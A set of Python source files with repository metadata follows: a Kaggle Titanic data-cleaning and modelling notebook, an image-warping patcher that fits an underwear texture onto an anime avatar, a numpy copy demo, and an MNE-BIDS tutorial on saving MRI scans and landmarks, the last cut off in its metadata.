{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.5.1\n#   kernelspec:\n#     display_name: Python [conda env:ml] *\n#     language: python\n#     name: conda-env-ml-py\n# ---\n\n# # Kaggle Titanic Competition\n\n# ## TODO\n#\n# - data cleaning\n#     - ~~impute NaN in fare column of test set~~\n# - feature engineering\n#     - ~~family size = SibSp + Parch + 1~~\n#     - ~~Title~~\n#     - ~~~Age = f(other features)~~~\n#\n\n# ## Imports and helper functions\n\n# +\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import cross_val_score, StratifiedKFold\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import RandomForestRegressor\n\n\n# -\n\ndef display_all(df):\n    with pd.option_context(\"display.max_rows\", 1500, \"display.max_columns\", 1000): \n        display(df)\n\n\n# ## Load data\n\n# load training data\ntrain = pd.read_csv(\"../data/raw/train.csv\")\n\n# load test data\ntest = pd.read_csv(\"../data/raw/test.csv\")\n\n# ## Exploratory data analysis\n\ntrain.shape\n\n# We have:\n# - 891 rows and\n# - 12 columns\n\ntrain.head()\n\n# What kind of data types do we have in the data frame?\n\ntrain.dtypes\n\ndisplay_all(train)\n\ndisplay_all(test)\n\n# Display the amount of NaN data per column in train set\n\ntrain.isnull().sum().sort_index()/len(train)\n\n# Display the amount of NaN data per column in test set\n\ntest.isnull().sum().sort_index()/len(test)\n\ntrain.describe()\n\nsns.pairplot(train)\n\n# ## Data cleaning and feature engineering\n\n# ### Remove labels from train set and merge train and test set for feature engineering\n\ny = train.Survived\ntrain.drop(['Survived'], axis=1, inplace=True)\n\ndata = pd.concat([train, test], sort=True).reset_index(drop=True)\n\ndata.dtypes\n\n\n# ### Get surname and title from name column\n\ndef extract_features_from_names(names):\n    surnames = [name.split(',')[0] for name in names]\n    remainder = [name.split(',')[1].strip() for name in names]\n    titles = [x.split('.')[0] for x in remainder]\n    return surnames, titles\n\n\nsurnames, titles = extract_features_from_names(data['Name'])\n\n# Unique titles in names:\n\nprint(set(titles))\n\n# Replace *Name* columns with the newly generated features\n\ndata['Title'] = titles\ndata['Surname'] = surnames\n\ndata.drop('Name', axis=1, inplace=True)\n\n# ### Reduce the number of titles\n\n# This dictionary is taken from https://medium.com/datadriveninvestor/start-with-kaggle-a-comprehensive-guide-to-solve-the-titanic-challenge-8ac5815b0473\n\nTitle_Dictionary = {\n    'Capt': 'Officer',\n    'Col': 'Officer',\n    'Major': 'Officer',\n    'Jonkheer': 'Royalty',\n    'Don': 'Royalty',\n    'Sir' : 'Royalty',\n    'Dr': 'Officer',\n    'Rev': 'Officer',\n    'the Countess':'Royalty',\n    'Mme': 'Mrs',\n    'Mlle': 'Miss',\n    'Ms': 'Mrs',\n    'Mr' : 'Mr',\n    'Mrs' : 'Mrs',\n    'Miss' : 'Miss',\n    'Master' : 'Master',\n    'Lady' : 'Royalty'\n}\n\ndata['Title'] = data['Title'].map(Title_Dictionary)\n\n# There is one sample in the test set with a title that is not covered in the dictionary.\n\ndata[data['Title'].isnull()==True]\n\n# We will treat the title here as 'Royalty', because her full name is 'Oliva y Ocana, Dona. Fermina'.\n\ndata.loc[1305, 'Title'] = \"Royalty\"\n\n# ### Create new feature Family Size\n\ndata['Family_Size'] = data['SibSp'] + data['Parch'] + 1\n\n# ### Impute the missing Fare value\n\ndata[data['Fare'].isna()]\n\n# Let's replace the missing value with the median Fare value of Pclass 3.\n\nmedian_fare_pclass3 = data[data['Pclass']==3]['Fare'].median()\ndata[\"Fare\"].fillna(median_fare_pclass3, inplace=True)\ndata.loc[1043]\n\n# ### Replace NaNs in Age column with the median value\n\nmedian_age = data[\"Age\"].median()\ndata[\"Age\"].fillna(median_age, inplace=True)\n\n# ### Embarked column\n\ndata[data['Embarked'].isna()]\n\n# What is the Emabrked value with the highest count?\n\ndata['Embarked'].value_counts()\n\n# Replace the NaNs with 'S'\n\ndata[\"Embarked\"].fillna('S', inplace=True)\n\n# ### Cabin column\n\n# Take only the first letter of cabin values and replace the NaNs with 'NONE' string\n\ncabins = data.loc[~data['Cabin'].isnull(), 'Cabin']\n\ndata.loc[~data['Cabin'].isnull(), 'Cabin'] = cabins.map(lambda x: x[0])\ndata['Cabin'] = data['Cabin'].fillna(\"NONE\").astype(str)\n\n# ### Check, if everything is cleaned now\n\ndata.isna().sum().sort_index()/len(data)\n\ndisplay_all( data )\n\n# ## Data export\n\n# +\ntrain = data.loc[:len(train)-1, :]\ntrain = pd.concat([train, y], axis=1)\ntest = data.loc[len(train):, :]\n\ntrain.to_csv('../data/processed/train.csv', index=False)\ntest.to_csv('../data/processed/test.csv', index=False)\n# -\n\ntrain.columns\n\n# # Ressources\n\n# - https://medium.com/datadriveninvestor/start-with-kaggle-a-comprehensive-guide-to-solve-the-titanic-challenge-8ac5815b0473\n# - https://medium.com/i-like-big-data-and-i-cannot-lie/how-i-scored-in-the-top-9-of-kaggles-titanic-machine-learning-challenge-243b5f45c8e9\n# - https://www.kaggle.com/gunesevitan/titanic-advanced-feature-engineering-tutorial\n\n# + [markdown] heading_collapsed=true\n# # Not used\n\n# + [markdown] hidden=true\n# ### Convert categorical columns (label encoding)\n\n# + hidden=true\n# label encoding\ncols_to_encode = ['Sex', 'Cabin', 'Ticket', 'Embarked', 'Title', 'Surname']\nfor col in cols_to_encode:\n    data[col] = data[col].astype('category').cat.codes + 1\n    \ndata.dtypes\n\n# + [markdown] hidden=true\n# ### Make a regression model for age to impute missing values\n\n# + hidden=true\nage_model_input = data[['Pclass', 'Sex', 'SibSp', 'Parch', 'Fare', 'Embarked', 'Title', 'Family_Size']]\n\n# + hidden=true\nidx_age_isna = data['Age'].isnull()\nsum(idx_age_isna)\n\n# + hidden=true\nage_model_train_input, age_targets = age_model_input[~idx_age_isna], data['Age'][~idx_age_isna]\nage_model_inference_input = age_model_input[idx_age_isna]\n\n# + hidden=true\nlen(age_model_train_input), len(age_targets)\n\n# + hidden=true\nlen(age_model_inference_input)\n\n# + hidden=true\nlen(data)-1046-263\n\n# + hidden=true\nSEED = 42\nage_mdl = RandomForestRegressor(n_jobs=-1,\n                                n_estimators=1000,\n                                max_features='sqrt',\n                                min_samples_leaf=10,\n                                max_depth=5,\n                                oob_score=True,\n                                random_state=SEED)\n\n# + hidden=true\nage_mdl.fit(age_model_train_input, age_targets)\n\n# + hidden=true\nage_mdl.oob_score_\n\n# + hidden=true\nages_to_impute = age_mdl.predict(age_model_inference_input)\n\n# + hidden=true\n# data.loc[idx_age_isna, 'Age'] = ages_to_impute\n\n# + [markdown] hidden=true\n# ## Feature transformation\n\n# + [markdown] hidden=true\n# The data consists of:\n# - numerical features\n# - nominal and ordinal categorical features\n\n# + hidden=true\nnumerical_features = ['Age', 'SibSp', 'Parch', 'Fare']\n\n# + [markdown] heading_collapsed=true\n# # Modeling\n\n# + [markdown] hidden=true\n# ## Create training and test data\n\n# + hidden=true\ndata.columns\n\n# + hidden=true\nfeatures = [\"Pclass\", \"Sex\", \"Age\", \"SibSp\", \"Parch\", \"Fare\", 'Embarked', 'Title']\n\nX = train.loc[:, features]\nX_test = test.loc[:, features]\nprint(y.shape)\nprint(X.shape)\nprint(X_test.shape)\n\n# + hidden=true\nX.tail()\n\n# + [markdown] hidden=true\n# ## Correlation analysis\n\n# + [markdown] hidden=true\n# Before we do the training, we check, if there are some correlated features.\n\n# + hidden=true\ncorr = X.corr()\nprint(corr)\n\n# + hidden=true\nf, ax = plt.subplots(figsize=(10,8))\nsns.heatmap(corr, mask=np.zeros_like(corr, dtype=np.bool), cmap=sns.diverging_palette(220, 10, as_cmap=True),\n            square=True, ax=ax)\n\n# + [markdown] hidden=true\n# ## Training\n\n# + hidden=true\nprint(X.isna().any())\n\n# + hidden=true\nSEED = 123\nMODELS = {'SVC': make_pipeline(StandardScaler(), SVC(gamma=\"auto\", random_state=SEED)),\n          'RandomForest': RandomForestClassifier(n_jobs=-1,\n                                                 n_estimators=2000,\n                                                 max_features='sqrt',\n                                                 min_samples_leaf=4,\n                                                 oob_score=True,\n                                                 random_state=SEED)}\n\n# + hidden=true\nscore_means = []\nfor MODEL in MODELS:\n    \n    # training\n    clf = MODELS[MODEL]\n    clf.fit(X, y)\n    train_performance = accuracy_score(y, clf.predict(X))\n    print(f\"Accuracy on training data: {train_performance :.5f}\")\n    \n    # cross validation\n    cv = StratifiedKFold(n_splits=10)\n    scores = cross_val_score(clf, X, y, cv=cv, n_jobs=-1)\n    score_means.append(scores.mean())\n    print(f\"Cross validation accuracy of {MODEL}: {scores.mean() :.5f} (+/- {scores.std()*2 :.5f})\")\n    \n    # save model output on test data\n    test[\"Survived\"] = clf.predict(X_test)\n    predictions = test[[\"PassengerId\", \"Survived\"]]\n    predictions.to_csv(f\"model_{MODEL}.csv\", index=False)\n", "meta": {"hexsha": "c0f73b5ced0fe6b4255efffee766d449bd665df5", "size": 9172, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/data_preprocessing.py", "max_stars_repo_name": "harbenml/Kaggle-Ttitanic", "max_stars_repo_head_hexsha": "fcce8eca3484a5a46e16af439cc070b3720e6a8b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-07-14T10:02:59.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-14T10:02:59.000Z", "max_issues_repo_path": "notebooks/data_preprocessing.py", "max_issues_repo_name": "harbenml/Kaggle-Ttitanic", "max_issues_repo_head_hexsha": "fcce8eca3484a5a46e16af439cc070b3720e6a8b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/data_preprocessing.py", "max_forks_repo_name": "harbenml/Kaggle-Ttitanic", "max_forks_repo_head_hexsha": "fcce8eca3484a5a46e16af439cc070b3720e6a8b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.0601092896, "max_line_length": 153, "alphanum_fraction": 0.6580898386, "include": true, "reason": "import numpy", "num_tokens": 2444, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.1645164608483867, "lm_q1q2_score": 0.07968849717069275}}
{"text": "import skimage.io as io\nimport skimage.transform as skt\nimport numpy as np\nfrom PIL import Image, ImageOps\nfrom src.models.class_patcher import patcher\nfrom src.utils.imgproc import *\n\n\nclass patcher(patcher):\n    def __init__(self, body='./body/body_ramne.png', **options):\n        super().__init__(name='\u30e9\u30e0\u30cd', body=body, pantie_position=[412, 835], **options)\n        self.mask = io.imread('./mask/mask_ramne.png')\n        self.sign_position = [844, 666]\n        try:\n            self.add_sign = self.options['add_sign']\n        except:\n            self.add_sign = self.ask(question='Add immoral sign?', default=False)\n        if self.add_sign:\n            try:\n                sign = Image.open(self.options['fsign'])\n            except:\n                sign = Image.open('./material/anna_sign.png')\n            left = ImageOps.mirror(sign)\n            margin = 25\n            self.sign = Image.new(\"RGBA\", (sign.size[0] * 2 + margin, sign.size[1]))\n            self.sign.paste(sign, (sign.size[0] + int(margin/2), 0))\n            self.sign.paste(left, (0, 0))\n\n    def convert(self, image):\n        pantie = np.array(image)\n        \n        # Rear to front\n        patch = np.copy(pantie[-110:-5, 548:, :])[::-1, ::-1, :]\n        [pr, pc, d] = patch.shape\n        pantie[105:105 + pr, :pc, :] = patch\n        pantie = pantie[:-100, :, :]\n        pantie = np.pad(pantie, [(100, 0), (0, 0), (0, 0)], mode='constant')\n        pantie = perspective_transform(pantie, np.matrix('1, 0.01, 0; 0, 1, 0; -0.0008,0,1'))\n        \n        # Affine transform\n        [r, c, d] = pantie.shape\n        src_cols = np.linspace(0, c, 10)\n        src_rows = np.linspace(0, r, 10)\n        src_rows, src_cols = np.meshgrid(src_rows, src_cols)\n        src = np.dstack([src_cols.flat, src_rows.flat])[0]\n        shifter_row = np.zeros(src.shape[0])\n        shifter_col = np.zeros(src.shape[0])\n        shifter_row = (np.sin(np.linspace(0, 1 * np.pi, src.shape[0]) - np.pi / 4) * 40)\n        shifter_col = -np.sin(np.linspace(0, 1 * np.pi, src.shape[0]) + np.pi / 8) * 20\n        shifter_row[shifter_row < 0] = 0\n        shifter_row = np.convolve(shifter_row, np.ones(10) / 10, mode='valid')\n        shifter_row = skt.resize(shifter_row, (100, 1), anti_aliasing=True, mode='reflect')[:, 0]\n        shifter_col = np.convolve(shifter_col, np.ones(10) / 10, mode='valid')\n        shifter_col = skt.resize(shifter_col, (100, 1), anti_aliasing=True, mode='reflect')[:, 0]\n        dst_rows = src[:, 1] + shifter_row\n        dst_cols = src[:, 0] + shifter_col\n        dst = np.vstack([dst_cols, dst_rows]).T\n        affin = skt.PiecewiseAffineTransform()\n        affin.estimate(src, dst)\n        pantie = skt.warp(pantie, affin)\n\n        # Mirroring\n        pantie = pantie[25:290, 19:430, :]\n        pantie = skt.resize(pantie, (np.int(pantie.shape[0] * 1.47), np.int(pantie.shape[1] * 1.49)), anti_aliasing=True, mode='reflect')\n        pantie = np.bitwise_and(np.uint8(pantie[7:, :, :] * 255), self.mask)\n        [r, c, d] = pantie.shape\n        npantie = np.zeros((r, c * 2, d), dtype=np.uint8)\n        npantie[:, c:, :] = pantie\n        npantie[:, :c, :] = pantie[:, ::-1, :]\n\n        return Image.fromarray(npantie)\n        \n    def patch(self, image, transparent=False):\n        image = self.convert(image)\n        if transparent:\n            patched = Image.new(\"RGBA\", self.body_size)\n        else:\n            patched = self.body.copy()\n        \n        if self.add_sign:\n            self.paste(patched, self.sign, self.sign_position)\n        patched = self.paste(patched, image, self.pantie_position)\n        return patched\n", "meta": {"hexsha": "9ee7205ac53e81d2e3fcb339facaf4556d4cf09c", "size": 3607, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/models/ramne.py", "max_stars_repo_name": "HhotateA/quiche_pantie_patch", "max_stars_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 73, "max_stars_repo_stars_event_min_datetime": "2019-01-26T02:57:24.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T08:45:11.000Z", "max_issues_repo_path": "src/models/ramne.py", "max_issues_repo_name": "HhotateA/quiche_pantie_patch", "max_issues_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2019-04-09T10:53:41.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-11T13:18:26.000Z", "max_forks_repo_path": "src/models/ramne.py", "max_forks_repo_name": "HhotateA/quiche_pantie_patch", "max_forks_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2019-04-07T11:28:57.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T04:35:48.000Z", "avg_line_length": 42.9404761905, "max_line_length": 137, "alphanum_fraction": 0.5702800111, "include": true, "reason": "import numpy", "num_tokens": 1067, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.15203223585907102, "lm_q1q2_score": 0.07957676594292447}}
{"text": "\"\"\"\n2.8  numpy copy & deep copy \n\"\"\"\n\nimport numpy as np\n\na = np.arange(4)\nprint('array a:\\n',a)\n\nb = a\nc = a\nd = b\n# \u66f4\u6539a[0]\na[0] = 11\nprint('\u66f4\u6539a[0]\u7684\u503c\u4e3a11\\n',a[0])\n\nprint('b is a?\\n', b is a)\nprint('b\u7684\u503c\u4e5f\u4f1a\u6539\u53d8\\n',b)\n\nprint('c is a?\\n', c is a)\nprint('d is a?\\n', d is a)\n\n# \u5982\u679c\u4e0d\u60f3\u5173\u8054\u8fd9\u4e9b\u53d8\u91cf\uff0c\u5219\u9700\u8981\u4f7f\u7528\u6df1\u62f7\u8d1d(deep copy)\nb = a.copy()\nprint('\u66f4\u6539b\u4e3aa\u7684\u6df1\u62f7\u8d1d,b is a?\\n',b is a)\n", "meta": {"hexsha": "1e1272d179ed4f489fb4dae8f44271105c3e47dc", "size": 350, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python/numpytest/test8.py", "max_stars_repo_name": "InnoFang/misc-code", "max_stars_repo_head_hexsha": "561d0c5b02f81ad4978a97f7897b6c4c7b3b56ce", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2018-01-02T07:06:49.000Z", "max_stars_repo_stars_event_max_datetime": "2018-11-22T13:45:39.000Z", "max_issues_repo_path": "Python/numpytest/test8.py", "max_issues_repo_name": "InnoFang/playground", "max_issues_repo_head_hexsha": "2998c024a5834be3712734f43fe945f83c64f989", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-02-20T10:08:58.000Z", "max_issues_repo_issues_event_max_datetime": "2020-02-20T10:08:58.000Z", "max_forks_repo_path": "Python/numpytest/test8.py", "max_forks_repo_name": "InnoFang/playground", "max_forks_repo_head_hexsha": "2998c024a5834be3712734f43fe945f83c64f989", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 13.4615384615, "max_line_length": 35, "alphanum_fraction": 0.5685714286, "include": true, "reason": "import numpy", "num_tokens": 180, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618627863437, "lm_q2_score": 0.1755380757799918, "lm_q1q2_score": 0.07956471521796946}}
{"text": "\"\"\"\n==============================================================================\n07. Save and load T1-weighted MRI scan along with anatomical landmarks in BIDS\n==============================================================================\n\nWhen working with MEEG data in the domain of source localization, we usually\nhave to deal with aligning several coordinate systems, such as the coordinate\nsystems of ...\n\n- the head of a study participant\n- the recording device (in the case of MEG)\n- the anatomical MRI scan of a study participant\n\nThe process of aligning these frames is also called coregistration, and is\nperformed with the help of a transformation matrix, called ``trans`` in MNE.\n\nIn this tutorial, we show how ``MNE-BIDS`` can be used to save a T1 weighted\nMRI scan in BIDS format, and to encode all information of the ``trans`` object\nin a BIDS compatible way.\n\nFinally, we will automatically reproduce our ``trans`` object from a BIDS\ndirectory.\n\nSee the documentation pages in the MNE docs for more information on\n`source alignment and coordinate frames <mne_source_coords_>`_\n\n.. note:: For this example you will need to install ``matplotlib`` and\n          ``nilearn`` on top of your usual ``mne-bids`` installation.\n\n\"\"\"\n# Authors: Stefan Appelhoff <stefan.appelhoff@mailbox.org>\n#          Alex Rockhill <aprockhill206@gmail.com>\n#          Alex Gramfort <alexandre.gramfort@inria.fr>\n# License: BSD (3-clause)\n\n# %%\n# Let's import everything we need for this example:\n\nimport os.path as op\nimport shutil\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom nilearn.plotting import plot_anat\n\nimport mne\nfrom mne.datasets import sample\nfrom mne.source_space import head_to_mri\n\nfrom mne_bids import (write_raw_bids, BIDSPath, write_anat, get_anat_landmarks,\n                      get_head_mri_trans, print_dir_tree)\n\n# %%\n# We will be using the `MNE sample data <mne_sample_data_>`_ and write a basic\n# BIDS dataset. For more information, you can checkout the respective\n# :ref:`example <ex-convert-mne-sample>`.\n\ndata_path = sample.data_path()\nevent_id = {'Auditory/Left': 1, 'Auditory/Right': 2, 'Visual/Left': 3,\n            'Visual/Right': 4, 'Smiley': 5, 'Button': 32}\nraw_fname = op.join(data_path, 'MEG', 'sample', 'sample_audvis_raw.fif')\nevents_data = op.join(data_path, 'MEG', 'sample', 'sample_audvis_raw-eve.fif')\noutput_path = op.abspath(op.join(data_path, '..', 'MNE-sample-data-bids'))\nfs_subjects_dir = op.join(data_path, 'subjects')  # FreeSurfer subjects dir\n\n# %%\n# To ensure the output path doesn't contain any leftover files from previous\n# tests and example runs, we simply delete it.\n#\n# .. warning:: Do not delete directories that may contain important data!\n#\n\nif op.exists(output_path):\n    shutil.rmtree(output_path)\n\n# %%\n# Read the input data and store it as BIDS data.\n\nraw = mne.io.read_raw_fif(raw_fname)\nraw.info['line_freq'] = 60  # specify power line frequency as required by BIDS\n\nsub = '01'\nses = '01'\ntask = 'audiovisual'\nrun = '01'\nbids_path = BIDSPath(subject=sub, session=ses, task=task,\n                     run=run, root=output_path)\nwrite_raw_bids(raw, bids_path, events_data=events_data,\n               event_id=event_id, overwrite=True)\n\n# %%\n# Print the directory tree\nprint_dir_tree(output_path)\n\n# %%\n# Writing T1 image\n# ----------------\n#\n# Now let's assume that we have also collected some T1 weighted MRI data for\n# our subject. And furthermore, that we have already aligned our coordinate\n# frames (using e.g., the `coregistration GUI`_) and obtained a transformation\n# matrix :code:`trans`.\n\n# Get the path to our MRI scan\nt1_fname = op.join(fs_subjects_dir, 'sample', 'mri', 'T1.mgz')\n\n# Load the transformation matrix and show what it looks like\ntrans_fname = op.join(data_path, 'MEG', 'sample',\n                      'sample_audvis_raw-trans.fif')\ntrans = mne.read_trans(trans_fname)\nprint(trans)\n\n# %%\n# We can save the MRI to our existing BIDS directory and at the same time\n# create a JSON sidecar file that contains metadata, we will later use to\n# retrieve our transformation matrix :code:`trans`. The metadata will here\n# consist of the coordinates of three anatomical landmarks (LPA, Nasion and\n# RPA (=left and right preauricular points) expressed in voxel coordinates\n# w.r.t. the T1 image.\n\n# First create the BIDSPath object.\nt1w_bids_path = BIDSPath(subject=sub, session=ses, root=output_path,\n                         suffix='T1w')\n\n# use ``trans`` to transform landmarks from the ``raw`` file to\n# the voxel space of the image\nlandmarks = get_anat_landmarks(\n    t1_fname,  # path to the MRI scan\n    info=raw.info,  # the MEG data file info from the same subject as the MRI\n    trans=trans,  # our transformation matrix\n    fs_subject='sample',  # FreeSurfer subject\n    fs_subjects_dir=fs_subjects_dir,  # FreeSurfer subjects directory\n)\n\n# We use the write_anat function\nt1w_bids_path = write_anat(\n    image=t1_fname,  # path to the MRI scan\n    bids_path=t1w_bids_path,\n    landmarks=landmarks,  # the landmarks in MRI voxel space\n    verbose=True  # this will print out the sidecar file\n)\nanat_dir = t1w_bids_path.directory\n\n# %%\n# Let's have another look at our BIDS directory\nprint_dir_tree(output_path)\n\n# %%\n# Our BIDS dataset is now ready to be shared. We can easily estimate the\n# transformation matrix using ``MNE-BIDS`` and the BIDS dataset.\n# This function converts the anatomical landmarks stored in the T1 sidecar\n# file into FreeSurfer surface RAS space, and aligns the landmarks in the\n# electrophysiology data with them. This way your electrophysiology channel\n# locations can be transformed to surface RAS space using the ``trans`` which\n# is crucial for source localization and other uses of the FreeSurfer surfaces.\n#\n# .. note:: If this dataset were shared with you, you would first have to use\n#           the T1 image as input for the FreeSurfer recon-all, see\n#           :ref:`tut-freesurfer-mne`.\nestim_trans = get_head_mri_trans(bids_path=bids_path, fs_subject='sample',\n                                 fs_subjects_dir=fs_subjects_dir)\n\n# %%\n# Finally, let's use the T1 weighted MRI image and plot the anatomical\n# landmarks Nasion, LPA, and RPA onto the brain image. For that, we can\n# extract the location of Nasion, LPA, and RPA from the MEG file, apply our\n# transformation matrix :code:`trans`, and plot the results.\n\n# Get Landmarks from MEG file, 0, 1, and 2 correspond to LPA, NAS, RPA\n# and the 'r' key will provide us with the xyz coordinates. The coordinates\n# are expressed here in MEG Head coordinate system.\npos = np.asarray((raw.info['dig'][0]['r'],\n                  raw.info['dig'][1]['r'],\n                  raw.info['dig'][2]['r']))\n\n# We now use the ``head_to_mri`` function from MNE-Python to convert MEG\n# coordinates to MRI scanner RAS space. For the conversion we use our\n# estimated transformation matrix and the MEG coordinates extracted from the\n# raw file. `subjects` and `subjects_dir` are used internally, to point to\n# the T1-weighted MRI file: `t1_mgh_fname`. Coordinates are is mm.\nmri_pos = head_to_mri(pos=pos,\n                      subject='sample',\n                      mri_head_t=estim_trans,\n                      subjects_dir=fs_subjects_dir)\n\n# Our MRI written to BIDS, we got `anat_dir` from our `write_anat` function\nt1_nii_fname = op.join(anat_dir, 'sub-01_ses-01_T1w.nii.gz')\n\n# Plot it\nfig, axs = plt.subplots(3, 1, figsize=(7, 7), facecolor='k')\nfor point_idx, label in enumerate(('LPA', 'NAS', 'RPA')):\n    plot_anat(t1_nii_fname, axes=axs[point_idx],\n              cut_coords=mri_pos[point_idx, :],\n              title=label, vmax=160)\nplt.show()\n\n# %%\n# Writing FLASH MRI image\n# -----------------------\n#\n# We can write another types of MRI data such as FLASH images for BEM models\n\nflash_fname = op.join(fs_subjects_dir, 'sample', 'mri', 'flash', 'mef05.mgz')\n\nflash_bids_path = \\\n    BIDSPath(subject=sub, session=ses, root=output_path, suffix='FLASH')\n\nwrite_anat(\n    image=flash_fname,\n    bids_path=flash_bids_path,\n    verbose=True\n)\n\n# %%\n# Writing defaced and anonymized T1 image\n# ---------------------------------------\n#\n# We can deface the MRI for anonymization by passing ``deface=True``.\nt1w_bids_path = write_anat(\n    image=t1_fname,  # path to the MRI scan\n    bids_path=bids_path,\n    landmarks=landmarks,\n    deface=True,\n    overwrite=True,\n    verbose=True  # this will print out the sidecar file\n)\nanat_dir = t1w_bids_path.directory\n\n# Our MRI written to BIDS, we got `anat_dir` from our `write_anat` function\nt1_nii_fname = op.join(anat_dir, 'sub-01_ses-01_T1w.nii.gz')\n\n# Plot it\nfig, ax = plt.subplots()\nplot_anat(t1_nii_fname, axes=ax, title='Defaced', vmax=160)\nplt.show()\n\n# %%\n# Writing defaced and anonymized FLASH MRI image\n# ----------------------------------------------\n#\n# Defacing the FLASH works just like the T1 as long as they are aligned.\n\n# use ``trans`` to transform landmarks from the ``raw`` file to\n# the voxel space of the image\nlandmarks = get_anat_landmarks(\n    flash_fname,  # path to the FLASH scan\n    info=raw.info,  # the MEG data file info from the same subject as the MRI\n    trans=trans,  # our transformation matrix\n    fs_subject='sample',  # freesurfer subject\n    fs_subjects_dir=fs_subjects_dir,  # freesurfer subjects directory\n)\n\nflash_bids_path = write_anat(\n    image=flash_fname,  # path to the MRI scan\n    bids_path=flash_bids_path,\n    landmarks=landmarks,\n    deface=True,\n    overwrite=True,\n    verbose=True  # this will print out the sidecar file\n)\n\n# Our MRI written to BIDS, we got `anat_dir` from our `write_anat` function\nflash_nii_fname = op.join(anat_dir, 'sub-01_ses-01_FLASH.nii.gz')\n\n# Plot it\nfig, ax = plt.subplots()\nplot_anat(flash_nii_fname, axes=ax, title='Defaced', vmax=700)\nplt.show()\n\n# %%\n# Using manual landmark coordinates in scanner RAS\n# ------------------------------------------------\n#\n# You can also find landmarks with a 3D image viewer (e.g. FreeView) if you\n# have not aligned the channel locations (including fiducials) using the\n# coregistration GUI or if this is just more convenient.\n#\n# .. note:: In FreeView, you need to use \"RAS\" and not \"TkReg RAS\" for this.\n#           You can also use voxel coordinates but, in FreeView, they\n#           are integers and so not as precise as the \"RAS\" decimal numbers.\nflash_ras_landmarks = \\\n    np.array([[-74.53102838, 19.62854953, -52.2888194],\n              [-1.89454315, 103.69850925, 4.97120376],\n              [72.01200673, 21.09274883, -57.53678375]]) / 1e3  # mm -> m\n\nlandmarks = mne.channels.make_dig_montage(\n    lpa=flash_ras_landmarks[0],\n    nasion=flash_ras_landmarks[1],\n    rpa=flash_ras_landmarks[2],\n    coord_frame='ras'\n)\n\nflash_bids_path = write_anat(\n    image=flash_fname,  # path to the MRI scan\n    bids_path=flash_bids_path,\n    landmarks=landmarks,\n    deface=True,\n    overwrite=True,\n    verbose=True  # this will print out the sidecar file\n)\n\n# Plot it\nfig, ax = plt.subplots()\nplot_anat(flash_nii_fname, axes=ax, title='Defaced', vmax=700)\nplt.show()\n\n# %%\n# .. LINKS\n#\n# .. _coregistration GUI:\n#    https://mne.tools/stable/auto_tutorials/forward/20_source_alignment.html#defining-the-headmri-trans-using-the-gui\n# .. _mne_source_coords:\n#    https://mne.tools/stable/auto_tutorials/source-modeling/plot_source_alignment.html\n# .. _mne_sample_data:\n#    https://mne.tools/stable/overview/datasets_index.html#sample\n#\n", "meta": {"hexsha": "10fb4dfb332f989a75ecb530a9c1c6a93f070e14", "size": 11384, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/convert_mri_and_trans.py", "max_stars_repo_name": "kingjr/mne-bids", "max_stars_repo_head_hexsha": "3a4543076912cebbc89a5f0b9433cda1b9e288b8", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/convert_mri_and_trans.py", "max_issues_repo_name": "kingjr/mne-bids", "max_issues_repo_head_hexsha": "3a4543076912cebbc89a5f0b9433cda1b9e288b8", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/convert_mri_and_trans.py", "max_forks_repo_name": "kingjr/mne-bids", "max_forks_repo_head_hexsha": "3a4543076912cebbc89a5f0b9433cda1b9e288b8", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, 